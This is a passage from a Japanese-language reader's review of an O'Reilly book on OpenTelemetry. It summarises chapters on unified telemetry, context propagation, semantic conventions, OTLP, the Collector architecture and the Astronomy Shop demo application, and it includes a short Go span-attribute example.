より引用これは、ログ、メトリクス、トレースを別々のシグナルとして扱いつつ、それらを単一のグラフ構造にまとめるというアイデアです。各シグナルは独立していますが、接点によってすべてがつながっています。こうすることで、コンピュータがグラフを辿って遠く離れた重要な関連性を素早く見つけ出すことができるようになります。相関関係を見つけるには、データを接続する必要があります。そして、そのためには、システムが発するテレメトリに、統一性と一貫性が求められます。統一されたテレメトリは、統一された分析を可能にし、プロダクションシステムに内在する問題を深く理解するために不可欠なのです。そして、このようなテレメトリシステムが実際に存在しており、それがOpenTelemetryです。OpenTelemetryは、ログ、メトリクス、トレースを単一の一貫したグラフにまとめることで、次世代のObservabilityツールの基盤となるものです。著者は、Observabilityの世界が大きく変わりつつあり、その中心にはOpenTelemetryがあると述べています。トレース、メトリクス、ログ、プロファイリングなど、あらゆる形式のテレメトリを相関させる能力が、これからのObservabilityの鍵となるでしょう。それは、私たちが切望してきたワークフローと自動化を実現するために不可欠です。OpenTelemetryとObservabilityの未来明確に言及されているのですが本書は、OpenTelemetryのドキュメントの代替ではなく、その哲学とデザインを説明し、効果的に活用するための実用的なガイダンスを提供することを目的としています。各章では、OpenTelemetryの価値、モデル、アーキテクチャ、インストルメンテーション、ライブラリ、インフラストラクチャ、パイプライン、組織への展開などについて詳しく説明されています。私自身、ソフトウェアエンジニアとして、本書を通じてOpenTelemetryとObservabilityについての理解を深め、実務に活かしていきたいと思います。現代のソフトウェアシステムが直面する課題を解決するために、OpenTelemetryを中心とした新しいObservabilityの時代に備えることが重要だと感じました。詳細については翻訳もされている『オブザーバビリティ・エンジニアリング』を読めば良いと思いました。オブザーバビリティ・エンジニアリング作者:Charity Majors,Liz Fong-Jones,George Mirandaオーム社AmazonChapter 2. Why Use OpenTelemetry?本章を読んで、OpenTelemetryが可観測性の課題を解決するための重要な手段であることを改めて理解しました。現代のソフトウェア開発において、システムの複雑性が増大する中で可観測性の重要性が高まっていますが、同時に様々な課題に直面していることが明らかになりました。システムの複雑性と向き合う書籍は色々ありますがBuilding Microservices, 2nd EditionやEnabling Microservice Success、Software Architecture: The Hard Partsなどの書籍を読むことをお勧めします。learning.oreilly.com本章では、まず現代のソフトウェア開発における可観測性の重要性が述べられています。ソフトウェアシステムの複雑性が増す中で、開発者やオペレーターは限られたリソースでより多くのことをこなすことを求められています。しかし、システムの規模が大きくなるほど、その動作を正確に把握することは容易ではありません。コードやドキュメントだけでは、実際のプロダクション環境でのシステムの振る舞いを完全に理解することはできないのです。著者は、テレメトリ(遠隔測定)と可観測性(Observability)は、このような課題に立ち向かうための最も強力な武器だと述べています。テレメトリとは、システムが何をしているかを示すデータのことで、可観測性とは、そのデータを分析してシステムを理解する能力を指します。現代のソフトウェア開発における可観測性の課題次に、プロダクションモニタリングの現状と課題について触れられています。多くの組織では、メトリクス、ログ、トレースなど、様々なシグナル(信号)を異なるツールで収集し、複数のストレージに保存しています。データのフォーマットや収集頻度もバラバラで、システム全体を把握することが非常に難しくなっているのが実情です。組織の複雑性が増すほど、インシデントの検知や診断、修復に時間がかかるようになります。これは、インシデント対応者が適切なデータを手に入れられないことが大きな原因だと指摘されています。著者によると、データの量、品質、関連性の欠如が、プロダクションデバッグを困難にしているのです。この課題を解決するために、著者は統一されたテレメトリの重要性を説いています。OpenTelemetryは、ハードコンテキストとソフトコンテキストという概念を用いて、テレメトリデータに豊富なメタデータを付与します。Figure 2-1. “Hard” and “soft” contexts emitted by a web application より引用ハードコンテキスト(Hard Context)は、サービス間の因果関係を明示的にリンクするユニークな識別子です。具体的には、各リクエストに割り当てられる一意のIDのことで、分散システム内のサービスがそのIDを伝播させることで、同じリクエストに属するテレメトリデータを関連付けることができます。これにより、個々のテレメトリデータを関連付けるだけでなく、異なるタイプの計装を結びつけることができます。例えば、メトリクスをトレースに関連付けたり、ログをスパンにリンクしたりできるようになります。ハードコンテキストの存在により、人間のオペレーターがシステムの異常動作を調査する時間を大幅に短縮できると著者は述べています。一方、ソフトコンテキスト(Soft Context)は、各テレメトリが表すものを説明する様々なメタデータです。これには、顧客ID、リクエストを処理したロードバランサのホスト名、テレメトリデータのタイムスタンプなどが含まれます。ソフトコンテキストは、ハードコンテキストほど明示的ではありませんが、データの解釈に役立ちます。ソフトコンテキストは、テレメトリデータに固有の次元を追加し、そのデータが何を表しているのかを説明するのに役立ちます。また、著者はテレメトリのレイヤリングの重要性についても言及しています。Figure 2-4. An illustration of layered signals. A histogram measures API latency, with exemplars linking to specific traces, and with those traces linking to profiles or logs to get component- or function-level insights. より引用メトリクス、トレース、ログなどの異なるシグナルを補完的に使用し、適切な抽象度でシステムの動作を測定することで、より深い洞察が得られるというのです。メトリクスは統計情報を提供し、トレースは個々のリクエストの詳細を示し、ログはイベントの記録を提供します。単一の \\"dense\\" なシグナルを他の形式に変換するのではなく、各レイヤーに適したテレメトリを生成し、コンテキストを介してそれらのシグナルをリンクすることが重要だと指摘しています。そうすることで、システムについて知りもしなかった疑問に答えられるようになるのです。例えば、メトリクスでAPIのレイテンシの異常を検知し、exemplar(代表例)を通じて関連するトレースを特定し、そのトレースからプロファイルやログにリンクすることで、コンポーネントやファンクションレベルの詳細な洞察を得ることができます。さらに、セマンティックテレメトリ(Semantic Telemetry)という概念も紹介されています。これは、テレメトリデータに意味的な情報を付与することを指します。OpenTelemetryは、自己記述的で移植可能なテレメトリデータを提供することで、あらゆる可観測性フロントエンドで活用できるようにしています。例えば、OpenTelemetryのメトリックポイントには、メトリックの粒度や各属性の説明などのメタデータが含まれています。これにより、フロントエンドはメトリッククエリをより適切に可視化し、測定値の名前だけでなく、実際に何を測定しているのかを検索できるようになります。セマンティックテレメトリにより、開発者はデータの表現や分析方法に縛られることなく、必要な情報にアクセスできるようになります。著者は、OpenTelemetryがシステムを理解するための進化的なステップであり、可観測性の概念を定義し統一するための過去20年間の取り組みの集大成だと述べています。本章では、開発者、オペレーター、チーム、組織など、様々なステークホルダーの観点から、OpenTelemetryの価値について論じられています。開発者にとってOpenTelemetryは、言語、ランタイム、クラウドなどを問わず、高品質で広範なテレメトリを一貫した方法で生成するための手段です。OpenTelemetryは、テレメトリをソフトウェアの組み込み機能にすることを目指しており、その目標を達成しつつあります。オペレーターにとっては、膨大なデータから重要なシグナルを見つけ出し、システムの信頼性と回復性を確保するための強力なツールとなります。特に、クラウド環境では、ワークロードが実行されるノードが頻繁に変更されるため、障害の原因特定が極めて困難になります。OpenTelemetryは、そのような環境でもテレメトリデータを効果的に収集・分析するための仕組みを提供します。チームや組織にとっては、ベンダーロックインを防ぎ、既存の計装との互換性を確保するオープンな標準がメリットです。独自のソリューションに依存することは、コストや柔軟性の面でリスクがあります。オープンな標準とオープンソースは、リスクを軽減するだけでなく、将来に備えるためにも不可欠だと著者は主張しています。OpenTelemetryは、テレメトリデータを商品化し、その未来を実現するために尽力しているのです。最後に、OpenTelemetryが可観測性の課題を解決する理由として、普遍的な標準と相関データの2つが挙げられています。OpenTelemetryは、高品質で普遍的なテレメトリを生成するための標準的な方法を提供し、ベンダーロックインを排除します。すでに主要なクラウドプロバイダーやオブザーバビリティプラットフォームがOpenTelemetryをサポートしており、その採用は避けられない流れになっています。また、OpenTelemetryのデータは、単なるトレース、メトリクス、ログの寄せ集めではありません。それらはすべて同じデータ構造の一部であり、システム全体を記述する単一のグラフとして時間とともに関連付けられているのが特徴です。OpenTelemetryは、オペレーターがシステムを調査する際のワークフローを効果的にモデル化し、相関関係を見つけ出すための機械学習を活用するために、この統合されたデータが不可欠だと考えているのです。OpenTelemetryがもたらす可観測性の未来ソフトウェアエンジニアである私にとって、OpenTelemetryは非常に興味深いプロジェクトです。複雑化するシステムを運用する上で、可観測性は欠かせない要素となっています。特に、マイクロサービスアーキテクチャやクラウドネイティブの普及に伴い、システムの動作を把握することがますます難しくなっているのを実感しています。OpenTelemetryは、その課題を解決するための有望なアプローチであり、業界標準となる可能性を秘めていると感じました。統一されたテレメトリ、コンテキストの伝播、レイヤリング、セマンティックテレメトリなど、OpenTelemetryの提供する概念は、可観測性を向上させるための重要な指針になるはずです。本書を通じて、OpenTelemetryの理念と実践方法をしっかりと学び、自身の開発・運用プラクティスに活かしていきたいと思います。Chapter 3. OpenTelemetry Overview本章を読んで、OpenTelemetryが提供する統一された可観測性データのモデルとその重要性について理解を深めることができました。冒頭の \\"You can\'t communicate complexity, only an awareness of it.:複雑さを伝えることはできず、それを認識することしかできません。\\" という言葉が印象的でした。現代のクラウドネイティブなソフトウェアシステムは非常に複雑であり、その複雑さをそのまま伝えることは不可能です。しかし、OpenTelemetryは、システムの動作を把握し、その複雑さを認識するための強力なツールを提供してくれます。OpenTelemetryの主要コンポーネント本章では、OpenTelemetryのモデルを構成する主要なコンポーネントについて詳しく解説されています。OpenTelemetryは、トレース、メトリクス、ログという3つの主要な可観測性シグナルを扱います。これらのシグナルは、分散システムにおけるリクエストの流れや、システムの状態、イベントの記録を表現するための手段であり、OpenTelemetryはこれらを統一的かつ効果的に扱うためのデータモデルを提供しているのです。Figure 3-1. A high-level model of OpenTelemetry より引用トレースは、分散システムにおける一連の処理の流れを表現するための重要な機能です。OpenTelemetryのトレースは、スパンと呼ばれる個々のログの集まりとして構成され、これらのスパンがトレースコンテキストを介して関連付けられることで、エンドツーエンドのトランザクションを表現します。各スパンには、名前、開始時間と終了時間、属性、イベント、リンク、ステータスなどの情報が含まれており、これらを組み合わせることでリクエストの詳細な流れを追跡できます。Figure 3-2. A basic payment application for a store. The trace underneath describes a payment request より引用トレースは、エンドユーザーのエクスペリエンスをモデル化するのに最適なシグナルです。1つのトレースが1人のユーザーのシステム内の経路に対応するため、パフォーマンスの問題を特定しやすくなります。また、複数のトレースを集約して分析することで、さまざまな角度からシステムのパフォーマンス特性を把握することもできます。一方、メトリクスは、システムの状態を数値化してモニタリングするための機能です。OpenTelemetryのメトリクスは、開発者が意味のあるイベントを定義し、そのイベントがどのようにメトリックシグナルに変換されるかを指定できるように設計されています。これにより、オペレーターはコストやデータ量、解像度を制御しながら、メトリックの収集と集約を柔軟に行うことができます。メトリックには、カウンター、ゲージ、ヒストグラムなどの種類があり、それぞれがシステムの異なる側面を測定するのに適しています。例えば、あるサービスが受信したリクエストのサイズをバイト単位で記録するメトリックを定義し、そのイベントに対して、一定期間の最大値を求めたり、属性ごとの合計値を算出したりするようなアグリゲーションを適用できます。こうした柔軟なメトリックの処理は、OpenTelemetryの大きな強みの一つです。また、OpenTelemetryのメトリックには、エグゼンプラー(Exemplar)という特殊なハードコンテキストが用意されています。これにより、メトリックのイベントを特定のスパンやトレースにリンクさせ、より詳細なコンテキストを提供することができます。エグゼンプラーを活用することで、メトリックとトレースを効果的に組み合わせたテレメトリのレイヤリングが可能になります。ログについては、OpenTelemetryは既存のロギングAPIとの互換性を重視しつつ、ログをトレースやメトリクスと関連付けることでその価値を高めています。分散システムでは、ログが異なるコンポーネントから収集され、別々のツールで集約されることが多いため、因果関係を把握するのが難しいという課題がありました。OpenTelemetryは、ログにトレースコンテキストを付与し、メトリクスやトレースへのリンクを提供することで、この課題に対処しているのです。OpenTelemetryにおけるログの主な用途は、トレース化できないレガシーシステムからシグナルを取得すること、インフラストラクチャリソースとアプリケーションイベントを関連付けること、定期的なバッチ処理のような非ユーザーリクエストの動作を理解すること、他のシグナルへの変換を行うことなどが挙げられます。OpenTelemetryのコンテキスト伝播本章で特に重要な概念は、コンテキストです。OpenTelemetryにおけるコンテキストは、テレメトリデータを関連付けるためのメタデータであり、ハードコンテキストとソフトコンテキストの2種類に分けられます。ハードコンテキストは、トレースIDなどの一意の識別子を通じてサービス間の因果関係を明示的に関連付けるものであり、ソフトコンテキストは、各テレメトリが表す情報を説明する属性や資源情報などを指します。Figure 3-3. Context flows between services and within a service (inter-service versus intra-service propagation) より引用OpenTelemetryの中核をなすのが、こうしたコンテキストを伝播させるための仕組みです。OpenTelemetryでは、プロパゲーターと呼ばれるコンポーネントを使って、コンテキストを異なるプロセス間で受け渡しします。リクエストが開始されると、OpenTelemetryは登録されたプロパゲーターに基づいてそのリクエストの一意の識別子を生成します。この識別子がコンテキストに追加され、シリアライズされて次のサービスに送信されます。受信側のサービスはそれをデシリアライズし、ローカルのコンテキストに追加します。これにより、分散トレーシングにおけるスパン間の関係性を維持したまま、テレメトリデータを収集・伝送することができるのです。プロパゲーターは、W3C Trace Contextのようなハードコンテキストだけでなく、Baggageと呼ばれるソフトコンテキストの値も伝播させることができます。Baggageは、顧客IDやセッションIDのような、他のシグナルに付与したい値を、それが作成された場所から、システムの他の部分に伝送するためのメカニズムです。ただし、一度追加されたBaggageは削除できず、外部システムにも伝播されるため、その使用には注意が必要です。コンテキストに含まれるもう一つの重要な要素が、属性(Attribute)とリソース(Resource)です。属性は、テレメトリデータが表す内容を説明するためのキーと値のペアであり、OpenTelemetryにおけるメタデータの基本的な形式です。属性を使うことで、テレメトリデータを特定の次元でフィルタリングしたり、グループ化したりすることができます。属性には、文字列、真偽値、数値などのシンプルな値を割り当てることができます。また、同じ型の値の配列を割り当てることもできますが、属性のキーは一意でなければならないという制約があります。属性の数は無制限ではなく、デフォルトでは1つのテレメトリデータにつき最大128個に制限されています。これは、属性の作成やアサインにはコストがかかるためであり、また、メトリックに属性を追加する際には、時系列データベースへの書き込み時にカーディナリティ爆発を引き起こす可能性があるためです。カーディナリティ爆発を防ぐには、可観測性パイプラインやビューを使ってメトリックのカーディナリティを削減したり、高カーディナリティの属性をメトリックから除外してスパンやログに使用したりするのが効果的です。リソースは、属性の特殊なタイプで、プロセスの存続期間中は変化しない情報を表します。ホスト名やクラウドプロバイダーのゾーン、Kubernetesのノード名などがリソース属性の例です。また、セマンティック規約も重要な概念です。OpenTelemetryは、属性のキーや値に関する一貫した規約を定めることで、テレメトリデータの解釈を容易にし、異なるシステム間での相互運用性を高めています。これらの規約は、OpenTelemetryプロジェクト自体が提供するものと、各組織が独自に定義するものの両方があります。セマンティック規約を活用することで、開発者は意味のある属性を使ってテレメトリデータを記述し、オペレーターはそのデータを一貫した方法で分析できるようになります。例えば、OpenTelemetryのセマンティック規約では、HTTPルートの命名規則、サーバーレスの実行環境情報、pub-subメッセージングのキュー方向などが定義されています。こうした規約に従うことで、異なるサービスや環境から収集されたテレメトリデータを統一的に扱うことができます。OpenTelemetryのもう一つの重要な特徴は、OpenTelemetry Protocol (OTLP)の存在です。OTLPは、テレメトリデータを異なるコンポーネント間で効率的かつ柔軟に伝送するための標準的なデータフォーマットとプロトコルであり、多様な生成者と消費者に対して大きなメリットをもたらします。生成者は既存のフォーマットからOTLPへの変換レイヤーを介してOpenTelemetryと統合できるようになり、消費者は特定のベンダーに縛られることなく、幅広いオープンソースおよび商用ツールとのインターフェースを確保できます。OTLPは、バイナリとテキストベースの両方のエンコーディングをサポートしており、CPUとメモリの使用量を抑えることを目指しています。また、新しいシグナルが追加された場合にも、レガシーのレシーバーとエクスポーターとの下位互換性を維持するよう設計されているため、長期的な投資の保護にもつながります。Figure 3-6. An example of a schema-aware telemetry system より引用最後に、OpenTelemetryのバージョニングと安定性についても言及されています。OpenTelemetryでは、厳密なバージョニングと安定性のガイドラインが定められており、ユーザーは長期的なサポートとスムーズなアップグレードを期待できます。また、テレメトリスキーマの概念を通じて、セマンティック規約の変更に柔軟に対応することも可能です。スキーマを認識するバックエンドを構築したり、OpenTelemetry Collectorでスキーマ変換を行ったりすることで、分析ツールで新しいセマンティック規約のサポートを活用しつつ、既存のサービスの再計装やテレメトリ出力の再定義を行わずに済むようになります。OpenTelemetryのバージョニングは、v1.0ラインに沿って継続的に更新されていきます。APIとSDKの安定性についても、明確なポリシーが定められています。例えば、安定版のAPIには12ヶ月間のバグ修正サポートと24ヶ月間のセキュリティサポートが提供されます。こうした長期的なサポート体制により、ユーザーは安心してOpenTelemetryを採用し、継続的に活用していくことができるのです。SREにとってのOpenTelemetryの意義SREの立場から見ると、OpenTelemetryの登場は大きな意味を持ちます。複雑化するシステムを運用する上で、可観測性は欠かせない要素です。しかし、従来のアプローチでは、異なるシグナルを別々のツールで収集・分析する必要があり、システム全体の把握が難しいという課題がありました。OpenTelemetryは、トレース、メトリクス、ログを統一的に扱うためのデータモデルを提供し、コンテキストの伝播によってそれらを関連付けることで、この課題に対処しようとしています。単一障害点の特定、パフォーマンスボトルネックの分析、異常検知など、SREが日々直面する課題に対して、OpenTelemetryの統一されたテレメトリデータは大きな力を発揮するはずです。また、分散トレーシングを活用することで、マイクロサービス間の複雑な相互作用を可視化し、問題の根本原因を素早く特定することもできます。加えて、OpenTelemetryのセマンティック規約は、SREにとって大きなメリットをもたらします。規約に沿ったテレメトリデータを活用することで、サービスのSLOを定義したり、システム全体のヘルスを評価したりするための指標を統一的に扱えるようになります。これは、複数のチームやサービスが関わる大規模なシステムの運用において特に重要な意味を持ちます。また、OpenTelemetryがベンダー中立であることも見逃せません。クラウドプロバイダーやオブザーバビリティツールの乗り換えを検討する際に、テレメトリデータの継続性や移植性が確保されるのは大きなメリットです。特定のベンダーに縛られることなく、柔軟にツールを選択し、組み合わせることができるのです。セマンティック規約やOTLPのような標準化の取り組みは、ベンダーロックインを回避し、相互運用性を高めるために重要です。マイクロサービスアーキテクチャやクラウドネイティブ環境が普及する中で、オープンでポータブルな可観測性データは、SREにとって不可欠な資産となるでしょう。本章を通じて、OpenTelemetryが提供する可観測性データのモデルとその設計思想について深く理解することができました。トレース、メトリクス、ログの統一、コンテキストの伝播、セマンティック規約、標準プロトコル、安定性へのコミットメント。これらの要素が組み合わさることで、OpenTelemetryは現代の複雑なソフトウェアシステムに立ち向かうための強力な武器になると確信しました。私は今後、自身の開発や運用の現場において、OpenTelemetryを積極的に活用し、その効果を実感していくことを強く意識しています。この決意のもと、以下のような具体的な取り組みを計画しています。その過程を読者諸兄とも共有していきたい。既存のサービスへのOpenTelemetryの導入と、レガシーシステムとの統合分散トレーシングを活用したパフォーマンスの可視化と改善セマンティック規約に基づくSLOの定義とモニタリング自動化されたオブザーバビリティパイプラインの構築OpenTelemetryを活用したサービスマップやトポロジーの可視化AIを活用した異常検知やパフォーマンス最適化への挑戦これらの取り組みを通じて、OpenTelemetryの真価を見極め、その可能性を最大限に活かしていきたいと思います。また、OpenTelemetryの進化を注視し、その発展に貢献する方法も積極的に探求していきます。オープンソースプロジェクトとしてのOpenTelemetryは、世界中の技術者が協力し合うことで、さらなる飛躍を遂げるでしょう。可観測性の未来を切り拓くOpenTelemetry。その可能性に大きな期待を寄せつつ、本書の続きを読み進めていきます。次章では、OpenTelemetryのコンポーネントの詳細と、それらがオブザーバビリティスタックにどのように適合するのかを探っていきます。Chapter 4. The OpenTelemetry Architecture本章を読んで、OpenTelemetryの全体像と、実際のアプリケーションにおける活用方法について理解を深めることができました。冒頭の \\"Everyone knows that debugging is twice as hard as writing a program in the first place. So if you\'re as clever as you can be when you write it, how will you ever debug it?:そもそもデバッグはプログラムを書くことの 2 倍難しいことは誰もが知っています。 では、できるだけ賢く書いたとしても、どうやってデバッグできるでしょうか?\\" という言葉が印象的でした。デバッグの難しさを考えると、可観測性の重要性は明らかです。OpenTelemetryは、アプリケーションやインフラストラクチャのデバッグを効率化するための強力なツールを提供してくれます。特に、大規模で複雑な分散システムにおいては、システムの動作を把握することが非常に難しくなります。そのような環境でこそ、OpenTelemetryの価値が発揮されるのだと感じました。OpenTelemetryのアーキテクチャ本章では、まずOpenTelemetryを構成する主要なコンポーネントについて解説されています。https://opentelemetry.io/docs/ より引用OpenTelemetryは、アプリケーション内に組み込まれる計装、インフラストラクチャ用のエクスポーター、そしてテレメトリデータをストレージシステムに送信するためのパイプラインコンポーネントから構成されています。これらのコンポーネントが連携することで、エンドツーエンドの可観測性が実現されるのです。アプリケーションレベルでは、ライブラリの計装とOpenTelemetry APIを使った手動の計装の2つのアプローチがあります。Figure 4-2. OpenTelemetry application architecture より引用多くの場合、フレームワークやデータベースクライアントなどのライブラリレベルでの計装だけでも、アプリケーションの動作を把握するのに十分なテレメトリデータが得られます。これは、OpenTelemetryがポピュラーなOSSライブラリに対する計装を豊富に提供しているためです。開発者は、これらのライブラリを使うだけで、特別なコードを書くことなくテレメトリデータを収集できるようになります。さらに、OpenTelemetry SDKを導入することで、これらのライブラリやアプリケーションコードからのAPIコールを実際に処理し、サンプリングやエクスポートを行うことができます。SDKはプラグイン式のフレームワークで、サンプリングアルゴリズムやライフサイクルフック、エクスポーターなどをYAML設定ファイルや環境変数で柔軟に構成できます。開発者は、必要に応じてSDKの機能を拡張し、自分たちのユースケースに合わせたテレメトリパイプラインを構築できるのです。ただし、ライブラリの計装だけでは不十分な場合もあります。ビジネスロジックに関連する重要なメトリクスを収集したり、より詳細なコンテキスト情報をテレメトリデータに付与したりするためには、OpenTelemetry APIを使った手動の計装が必要になります。特筆すべきは、OpenTelemetry APIが、OpenTelemetryが組み込まれていない環境でも安全に呼び出せるよう設計されていることです。つまり、OSSライブラリの開発者は、OpenTelemetryの計装をライブラリに含めておくことで、そのライブラリを使うアプリケーションがOpenTelemetryを採用しているかどうかに関わらず、シームレスにテレメトリデータを収集できるようになるのです。一方、インフラストラクチャのテレメトリも重要です。OpenTelemetryは、Kubernetesやクラウドサービスへの統合を進めており、既存のテレメトリデータをOpenTelemetryのパイプラインに取り込むためのコンポーネントも提供しています。例えば、Kubernetesのメトリクスを収集するためのレシーバーや、AWSのCloudWatchLogsからログデータを取り込むためのエクスポーターなどが提供されています。これらのコンポーネントを活用することで、インフラストラクチャ層とアプリケーション層のテレメトリを統合し、より包括的な可観測性を実現できます。テレメトリパイプラインについては、OpenTelemetry Protocol (OTLP)とOpenTelemetry Collectorが中心的な役割を果たします。大規模な分散システムでは、膨大な量のテレメトリデータが生成されるため、ネットワークの負荷分散やバックプレッシャーなどの課題に対処する必要があります。OpenTelemetry Collectorは、データの収集、処理、エクスポートを柔軟かつ効率的に行うための機能を提供します。現段階で「OpenTelemetry Collectorってなに?」と思った方はkatzchangさんの『入門 OpenTelemetry Collector』をとりあえず、聞いておいてください。cloudnativedays.jp具体的には、Collectorは複数のフォーマット(OTLP、Jaeger、Prometheus、その他の商用/独自ツールなど)でテレメトリデータを受信し、1つ以上のバックエンドにデータを送信できます。また、Collectorはプラグイン式のアーキテクチャを採用しており、受信したデータに対してフィルタリング、属性の追加・削除、サンプリング、バッチ処理などの様々な処理を適用できます。これらの処理をCollectorで集中的に行うことで、アプリケーションへのオーバーヘッドを最小限に抑えつつ、必要なデータを効率的にバックエンドに送信できるようになります。Collectorのもう一つの重要な役割は、テレメトリデータのセマンティクスを保証することです。Collectorは、OpenTelemetryのセマンティック規約に基づいて、受信したデータの属性をOpenTelemetryの標準的な属性にマッピングします。これにより、異なるフォーマットから収集されたデータを統一的に扱えるようになり、分析ツールやダッシュボードでのデータの解釈が容易になります。OpenTelemetryを活用したデモアプリケーション本章では、OpenTelemetryの実際の活用例として、Astronomy Shopというデモアプリケーションが紹介されています。このデモアプリケーションは、マイクロサービスベースのeコマースアプリケーションで、14の独立したサービスから構成されています。github.comデモアプリケーションのアーキテクチャは、ビジネスロジックを扱うアプリケーションコンポーネントと、可観測性に関連するコンポーネントに大別できます。アプリケーションコンポーネントには、注文処理を担うCheckout Service、在庫管理を行うInventory Service、決済を処理するPayment Serviceなどが含まれます。一方、可観測性に関連するコンポーネントとしては、データの収集・変換を行うOpenTelemetry Collector、ストレージとクエリを担うJaegerやPrometheus、可視化のためのGrafanaなどが含まれます。opentelemetry.ioこれらのサービス間の通信には、gRPCが使用されています。gRPCは、Protocol Buffersを利用した効率的なバイナリ通信プロトコルで、特にマイクロサービス間の通信に適しています。OpenTelemetryは、gRPCのクライアントとサーバーの両方に対する計装ライブラリを提供しているため、gRPCを使ったサービス間通信からも豊富なテレメトリデータを収集できます。これは、OpenTelemetryとgRPCを組み合わせるだけで、ある程度の可観測性が \\"無料で\\" 手に入ることを意味しています。デモアプリケーションを使って、OpenTelemetryによるアプリケーションパフォーマンスの管理方法を実践的に学ぶことができます。例えば、Feature Flag UIを使ってある特定のサービスにエラーを発生させ、そのエラーがどのようにトレースされ、Grafanaのダッシュボードに反映されるかを確認できます。OpenTelemetryが提供するスパンメトリクスを活用することで、エラーが発生しているサービスやルートを特定し、根本原因の調査に役立てることができます。スパンメトリクスは、トレースデータからメトリクスを生成する仕組みで、OpenTelemetry Collectorの spanmetrics プロセッサを使って実現されます。これにより、個々のトランザクションの詳細を捨象しつつ、システム全体のパフォーマンスを俯瞰的に理解することができるようになります。デモアプリケーションでは、トレースデータを使った柔軟な分析方法も示されています。GrafanaのExploreビューでは、Jaegerに保存されたトレースデータを検索し、特定のスパンに関連するエラーを調査できます。例えば、oteldemo.AdService/GetAdsというスパンに着目することで、広告サービスの特定のルートで発生しているエラーを発見できました。こうした分析は、メトリクスだけでは難しいものです。トレースデータは、個々のリクエストに関する詳細なコンテキストを提供するため、パフォーマンスの問題を特定するための強力な手がかりとなります。ただし、フレームワークレベルの自動計装だけでは、こうした詳細な分析には限界があります。アプリケーション特有のビジネスロジックに関連する情報を取得するためには、カスタム計装が必要になります。デモアプリケーションでは、gRPCの計装に加えて、ビジネスロジックに関連するメタデータをスパンに付加することで、より詳細な分析が可能になっています。例えば、Product Catalog Serviceでは、GetProductメソッドのスパンにapp.product.id属性を追加しています。func (p *productCatalog) GetProduct(ctx context.Context, req *pb.GetProductRequest) (*pb.Product, error) { span := trace.SpanFromContext(ctx) span.SetAttributes(attribute.String(\\"app.product.id\\", req.Id)) // ...}opentelemetry.ioこれにより、特定の商品IDに関連するエラーを検出し、トラブルシューティングを効率化できます。こうしたカスタム属性は、ドメイン知識に基づいて開発者自身が定義する必要がありますが、それだけの価値は十分にあるでしょう。デモアプリケーションでは、OpenTelemetry Collectorを活用したオブザーバビリティパイプラインも実装されています。各サービスからCollectorにデータをプッシュすることで、アプリケーションレベルでの処理オーバーヘッドを最小限に抑えつつ、フィルタリングやバッチ処理、メトリックビューの作成などを柔軟に行うことができます。この手法には、いくつかの利点があります。まず、テレメトリデータをアプリケーションから可能な限り早く送信することで、予期せぬ負荷による影響を最小限に抑えられます。また、Collectorでデータの処理を集中化することで、ネットワークのトラフィックを削減し、バックエンドへの負荷を分散させることができます。ただし、あまりにも大量のテレメトリを生成すると、ローカルネットワークを圧迫し、別の層でパフォーマンスの問題を引き起こす可能性もあります。状況に応じて適切なバランスを見極める必要があるでしょう。最後に、OpenTelemetryがもたらす新しい可観測性モデルについて議論されています。従来の「Three Pillars」モデルとは異なり、OpenTelemetryはトレース、メトリクス、ログ、リソースを単一のデータモデルに統合します。これにより、高度に相関性のある均一で高品質なデータが得られるようになります。Figure 4-12. The new model of observability tools より引用OpenTelemetryは、あらゆるソースからのテレメトリを統合し、OTLPを介して(少なくとも)1つのデータストアに送信するための普遍的な基盤となります。これにより、ビジネスにとっての価値や実現したいユースケースに基づいて、テレメトリストリームを柔軟に処理・送信できるようになります。将来の可観測性プラットフォームでは、ユニバーサルクエリAPI、自然言語検索、AIアシスタントとの統合、データポータビリティに基づく柔軟なツール選択などの機能が提供されるでしょう。OpenTelemetryは、そうした未来の高コンテキストなデータと、それを理解するためのツールを実現するための重要な構成要素なのです。実際、OpenTelemetryの登場以降、新しい可観測性ツールが続々と登場しています。これらのツールの多くは、OpenTelemetryを唯一の計装手段として採用しており、オープンソースのカラムストアをベースに構築されています。こうしたツールは、OpenTelemetryが提供する高コンテキストなテレメトリデータを効果的に活用するのに適しています。さらに、MicrosoftやAmazon Web Servicesなどの大手クラウドプロバイダーもOpenTelemetryを積極的にサポートし始めています。MicrosoftはAzure Monitorの一部としてOpenTelemetryをサポートし、AWSはEKSアプリケーション用のOpenTelemetryベースのAPMエクスペリエンスを発表しました。OpenSearchやClickHouseなどのオープンソースツールも、OpenTelemetryデータのストレージとして人気が高まっています。こうした動きは、OpenTelemetryが業界標準になりつつあることを示しています。本章を通じて、OpenTelemetryのアーキテクチャと、実際のアプリケーションにおける活用方法について深く理解することができました。アプリケーションとインフラストラクチャの両方から収集されたテレメトリを統合し、パイプラインを通じて効率的に処理・送信するためのコンポーネントの役割が明確になりました。OpenTelemetryは、分散システムの可観測性を実現するための包括的なソリューションであり、その設計思想は非常に合理的で説得力があります。また、デモアプリケーションを通じて、自動計装とカスタム計装を組み合わせることで、アプリケーションのパフォーマンス管理やトラブルシューティングをどのように強化できるかを実践的に学ぶことができました。OpenTelemetryのスパンメトリクスや、セマンティックに豊富なテレメトリデータは、複雑な分散システムの動作を理解するための強力な武器となります。OpenTelemetryによる可観測性データの統一性と相関性特に印象的だったのは、OpenTelemetryがもたらす可観測性データの統一性と相関性です。従来のように、メトリクス、ログ、トレースが別々のシステムで管理されていては、システム全体の動作を俯瞰的に理解することは困難です。OpenTelemetryは、これらのデータを単一のモデルに統合することで、より深い洞察を可能にします。データ間のつながりが明確になれば、パフォーマンスの問題の根本原因を特定したり、異常を早期に検知したりすることが容易になるでしょう。そして何より、OpenTelemetryが可観測性の新しいモデルを切り拓いていることを実感しました。従来の縦割りのアプローチを脱却し、テレメトリデータの相関性と統一性を追求することで、より深い洞察が得られるようになるでしょう。それは、我々ソフトウェアエンジニアやSREにとって、システムの理解とデバッグを飛躍的に向上させてくれるはずです。本章で得られた知見を基に、次章以降ではOpenTelemetryのより具体的な活用方法について学んでいきます。アプリケーション、ライブラリ、インフラストラクチャへの計装、テレメトリパイプラインの設計、組織へのオブザーバビリティの展開など、実践的なアドバイスが満載です。OpenTelemetryの導入に向けてOpenTelemetryを導入する際のチェックリストが本章で提供されています。このチェックリストには、主要なライブラリの計装状況、SDKへのプロバイダの登録、エクスポーターの設定、伝播形式の選択、SDKとCollector間のデータ送信、Collectorと分析ツール間のデータ送信、リソース属性の設定、トレースの完全性と連続性など、多岐にわたる項目が含まれています。ただし、チェックリストをなぞるだけでは不十分です。自分